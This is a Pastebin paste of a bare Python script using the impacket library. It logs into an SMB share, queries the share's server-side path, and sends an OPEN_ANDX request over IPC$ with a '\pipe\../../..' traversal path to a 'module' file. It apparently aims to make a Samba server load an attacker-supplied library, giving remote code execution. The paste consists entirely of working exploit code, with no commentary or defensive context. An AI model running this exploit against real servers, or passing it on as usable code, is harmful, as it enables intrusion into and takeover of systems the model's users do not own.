Advertisement
Guest User

Untitled

a guest
May 26th, 2017
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. from impacket import smb
  2. from impacket.smbconnection import *
  3.  
  4. from impacket.dcerpc.v5 import transport, srvs
  5.  
  6. server = 'localhost'
  7. user = 'nobody'
  8. password = ''
  9. share = 'data'
  10. module = 'module'
  11.  
  12. s = smb.SMB('A',server)
  13. s.login(user,password)
  14.  
  15. smbClient = SMBConnection('A', server)
  16. smbClient.login(user,password)
  17. tid=smbClient.connectTree(r'\\A\%s' % share)
  18.  
  19. rpctransport = transport.SMBTransport('A', server, filename = r'\srvsvc', smb_connection=smbClient)
  20. dce = rpctransport.get_dce_rpc()
  21. dce.connect()
  22. dce.bind(srvs.MSRPC_UUID_SRVS)
  23. resp = srvs.hNetrShareGetInfo(dce, '%s\x00' % share, 2)
  24. path = resp['InfoStruct']['ShareInfo2']['shi2_path'][2:][:-1].replace("\\","/")
  25. path = '\pipe\../../../../../..%s' % (path)
  26. path = r'%s/%s' % (path, module)
  27.  
  28. tid = s.tree_connect(r'\\A\IPC$')
  29. packet = smb.NewSMBPacket()
  30. packet['Tid'] = tid
  31. openFile = smb.SMBCommand(smb.SMB.SMB_COM_OPEN_ANDX)
  32. openFile['Parameters'] = smb.SMBOpenAndX_Parameters()
  33. openFile['Parameters']['DesiredAccess'] = smb.SMB_ACCESS_READ
  34. openFile['Parameters']['OpenMode'] = smb.SMB_O_OPEN
  35. openFile['Parameters']['SearchAttributes'] = smb.ATTR_READONLY | smb.ATTR_HIDDEN | smb.ATTR_ARCHIVE
  36.  
  37. openFile['Data'] = smb.SMBOpenAndX_Data(flags=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES)
  38. openFile['Data']['FileName'] = path
  39.  
  40. packet.addCommand(openFile)
  41. s.sendSMB(packet)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement